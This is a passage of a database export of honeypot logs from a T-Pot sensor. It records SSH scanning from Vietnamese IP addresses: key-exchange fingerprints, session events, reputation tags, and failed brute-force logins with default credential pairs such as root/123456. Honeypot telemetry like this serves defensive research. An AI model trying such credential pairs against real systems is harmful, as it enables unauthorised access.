HIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2124, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:49.425763Z", "@timestamp": "2021-09-20T11:06:49.425Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......%.l.y..Y....:.d....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
21391	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:49.576777+03	2021-09-20 14:15:03.606614+03	{"_id": "tQbjAnwBvYTbRNuEGgJ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b22ec41a08e3", "@version": "1", "duration": 2.6918842792510986, "timestamp": "2021-09-20T11:06:49.576777Z", "@timestamp": "2021-09-20T11:06:49.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21392	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:48.982978+03	2021-09-20 14:15:03.607613+03	{"_id": "wwbjAnwBvYTbRNuEGgJ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59922, "timestamp": "2021-09-20T11:06:48.982978", "@timestamp": "2021-09-20T11:06:48.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21393	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:48.860478+03	2021-09-20 14:15:03.609612+03	{"_id": "uwbjAnwBvYTbRNuEGgJ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38746, "dest_port": 22, "timestamp": "2021-09-20T11:06:48.860478", "@timestamp": "2021-09-20T11:06:48.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21394	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:49.621139+03	2021-09-20 14:15:03.610612+03	{"_id": "zgbjAnwBvYTbRNuEGgJ-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/123456] failed", "session": "5a2c1cff9272", "@version": "1", "password": "123456", "username": "root", "timestamp": "2021-09-20T11:06:49.621139Z", "@timestamp": "2021-09-20T11:06:49.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21395	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:49.698071+03	2021-09-20 14:15:03.611613+03	{"_id": "zwbjAnwBvYTbRNuEGgJ-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [sergey/sergey] failed", "session": "d59f041945d4", "@version": "1", "password": "sergey", "username": "sergey", "timestamp": "2021-09-20T11:06:49.698071Z", "@timestamp": "2021-09-20T11:06:49.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21396	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:50.287334+03	2021-09-20 14:15:03.612613+03	{"_id": "6AbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0bbdbd5ee5a4", "@version": "1", "timestamp": "2021-09-20T11:06:50.287334Z", "@timestamp": "2021-09-20T11:06:50.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21397	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:50.39891+03	2021-09-20 14:15:03.614612+03	{"_id": "6QbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "96c319c4c305", "@version": "1", "duration": 5.5503928661346436, "timestamp": "2021-09-20T11:06:50.398910Z", "@timestamp": "2021-09-20T11:06:50.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
31083	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:42:11.935068+03	2021-09-20 14:45:04.021142+03	{"_id": "rgYDA3wBvYTbRNuEekHU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:42:11.935068Z", "@timestamp": "2021-09-20T11:42:11.935Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
21399	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:51.146756+03	2021-09-20 14:15:03.617613+03	{"_id": "7AbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "17afc4ffe90f", "@version": "1", "timestamp": "2021-09-20T11:06:51.146756Z", "@timestamp": "2021-09-20T11:06:51.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21400	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:51.878593+03	2021-09-20 14:15:03.618613+03	{"_id": "GAbjAnwBvYTbRNuEIAPr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 555454888141442, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49686, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.878593Z", "@timestamp": "2021-09-20T11:06:51.878Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21401	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.291196+03	2021-09-20 14:15:03.619612+03	{"_id": "OwbjAnwBvYTbRNuEIgNZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57806 (192.168.176.2:22) [session: aa6caafc3c9b]", "session": "aa6caafc3c9b", "@version": "1", "protocol": "ssh", "src_port": 57806, "dest_port": 22, "timestamp": "2021-09-20T11:06:51.291196Z", "@timestamp": "2021-09-20T11:06:51.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21402	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.564986+03	2021-09-20 14:15:03.620613+03	{"_id": "NAbjAnwBvYTbRNuEIgNS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", 